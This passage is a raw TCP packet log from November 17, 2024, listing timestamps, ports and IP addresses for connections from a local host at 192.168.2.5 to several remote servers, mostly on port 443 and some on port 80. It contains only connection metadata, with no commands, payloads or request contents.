Nov 17, 2024 03:42:31.072325945 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.072366953 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.072428942 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.073945999 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.073961020 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.121776104 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.121859074 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.121942997 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.122474909 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.123092890 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.123228073 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.127715111 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.127728939 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.127741098 CET	49761	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.127748013 CET	443	49761	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.127865076 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.127885103 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.127912045 CET	49762	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.127918005 CET	443	49762	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.135812044 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.135974884 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.136101961 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.138078928 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:31.143531084 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.143548965 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.143563986 CET	49764	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.143570900 CET	443	49764	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.145446062 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.145466089 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.145632029 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.147135973 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.147176981 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.147238970 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.147850990 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.147866011 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.148019075 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.148046970 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.162794113 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.162828922 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.162990093 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.163563013 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.163573980 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.212999105 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:31.219875097 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:31.219960928 CET	443	49760	94.245.104.56	192.168.2.5
Nov 17, 2024 03:42:31.220033884 CET	49760	443	192.168.2.5	94.245.104.56
Nov 17, 2024 03:42:31.221282005 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:31.221314907 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:31.221396923 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:31.222424984 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:31.222445965 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:31.652255058 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.652652979 CET	49765	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.652673960 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.654793024 CET	49765	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.654798985 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.785933971 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.786076069 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.786137104 CET	49765	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.813659906 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.813843966 CET	49765	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.813855886 CET	443	49765	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.829188108 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.829211950 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.830982924 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.830993891 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.852926970 CET	80	49728	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:31.852984905 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:31.886280060 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.894979000 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.895893097 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.937648058 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.937709093 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.966711998 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.966928959 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.967011929 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.971169949 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.971179008 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.971632004 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.971637011 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.971770048 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.971771002 CET	49769	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.971787930 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.971798897 CET	443	49769	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.973526955 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.973553896 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.973913908 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.973927975 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.974117994 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.974133015 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:31.974467039 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:31.974473000 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.019875050 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.019937992 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.020158052 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.068921089 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.068953991 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.075984001 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.076018095 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.076086044 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.076262951 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.076272964 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.098834991 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.098920107 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.099037886 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.100832939 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.101085901 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.101810932 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.103642941 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.103815079 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.103880882 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.118293047 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.118293047 CET	49771	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.118315935 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.118321896 CET	443	49771	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.119703054 CET	49773	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.119719982 CET	443	49773	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.121211052 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.121211052 CET	49772	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.121253014 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.121265888 CET	443	49772	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.177541018 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.177581072 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.177740097 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.219727039 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.219753981 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.335808039 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.335834026 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.336095095 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.345165968 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:32.345278025 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:32.410715103 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.410741091 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.410959005 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.418838978 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.418852091 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.437535048 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:32.437544107 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:32.437706947 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:32.437910080 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:32.437922955 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:32.442672968 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.442694902 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.456588030 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:32.456598997 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:32.456665039 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:32.456866980 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:32.456882000 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:32.534058094 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:32.534081936 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:32.534945965 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:32.536920071 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:32.536955118 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:32.536981106 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:32.537333012 CET	49728	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:32.537636995 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:32.542892933 CET	80	49728	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:32.542923927 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:32.543061018 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:32.543186903 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:32.543226004 CET	49797	80	192.168.2.5	185.215.113.206
Nov 17, 2024 03:42:32.549829960 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:32.549859047 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:32.549885988 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:32.549912930 CET	80	49797	185.215.113.206	192.168.2.5
Nov 17, 2024 03:42:32.787503004 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.820698977 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.820744038 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.821192980 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.821212053 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.823709965 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.831746101 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.831759930 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.832149029 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.832153082 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.924189091 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:32.938019037 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.944480896 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.945154905 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.945611000 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.960469007 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.960616112 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.960716009 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.999341011 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.999377966 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:32.999700069 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:32.999713898 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.001359940 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.001359940 CET	49777	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.001394033 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.001408100 CET	443	49777	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.004954100 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.004954100 CET	49778	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.004975080 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.004983902 CET	443	49778	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.009496927 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.009566069 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.009679079 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.010695934 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.010715961 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.011653900 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.011674881 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.011796951 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.012033939 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.012043953 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.044528008 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.044542074 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:33.049217939 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:33.049278021 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.060556889 CET	49774	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.060574055 CET	443	49774	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:33.099514961 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.099545002 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:33.099653006 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.100048065 CET	49803	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.100060940 CET	443	49803	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:33.122715950 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.122874975 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.123296976 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.153496981 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.174798965 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.254127979 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.254312038 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.281604052 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:33.321053982 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:33.321065903 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:33.321964979 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:33.322038889 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:33.322729111 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.427109003 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.454184055 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.454196930 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.454853058 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.454879045 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.454922915 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.454922915 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.454940081 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.454967022 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.454982996 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.455889940 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.461442947 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:33.461535931 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:33.461886883 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.461981058 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.462129116 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.462137938 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.463208914 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.463208914 CET	49779	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.463233948 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.463246107 CET	443	49779	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.465601921 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.465615034 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.466586113 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.466589928 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.467318058 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.467336893 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.467691898 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.467698097 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.498223066 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.498308897 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.498482943 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.502876997 CET	49805	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.502911091 CET	443	49805	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.508619070 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:33.508632898 CET	443	49792	18.244.18.38	192.168.2.5
Nov 17, 2024 03:42:33.522454977 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.522495031 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:33.522576094 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.523413897 CET	49806	443	192.168.2.5	40.126.32.68
Nov 17, 2024 03:42:33.523452044 CET	443	49806	40.126.32.68	192.168.2.5
Nov 17, 2024 03:42:33.534643888 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.595762968 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.596012115 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.596081018 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.596538067 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.596538067 CET	49780	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.596554041 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.596560955 CET	443	49780	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.599562883 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.599647045 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.599777937 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.600148916 CET	49807	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.600184917 CET	443	49807	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.605046034 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.605916977 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.605993032 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.606209040 CET	49784	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.606226921 CET	443	49784	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.614727974 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.614763021 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.614851952 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.615084887 CET	49808	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.615103006 CET	443	49808	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.654040098 CET	49792	443	192.168.2.5	18.244.18.38
Nov 17, 2024 03:42:33.707982063 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.708030939 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.708093882 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.708115101 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.712106943 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.712192059 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.712203026 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.720642090 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.720726967 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.720735073 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.731669903 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.731883049 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.731889963 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.742616892 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.742811918 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.743252993 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.743257046 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.743268013 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.743402958 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.743791103 CET	49802	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.743794918 CET	443	49802	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.744030952 CET	49801	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.744045973 CET	443	49801	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.827361107 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.827436924 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.827449083 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.831398964 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.831471920 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.831485987 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.839994907 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.840043068 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.840049982 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.848831892 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.848881006 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.848886967 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.856385946 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.856420040 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.856508970 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.856693983 CET	49809	443	192.168.2.5	13.107.246.45
Nov 17, 2024 03:42:33.856714964 CET	443	49809	13.107.246.45	192.168.2.5
Nov 17, 2024 03:42:33.858078003 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.858130932 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.858130932 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.858146906 CET	443	49794	142.250.185.193	192.168.2.5
Nov 17, 2024 03:42:33.858195066 CET	49794	443	192.168.2.5	142.250.185.193
Nov 17, 2024 03:42:33.871618032 CET	443	49801	13.107.246.45	192.168.2.5
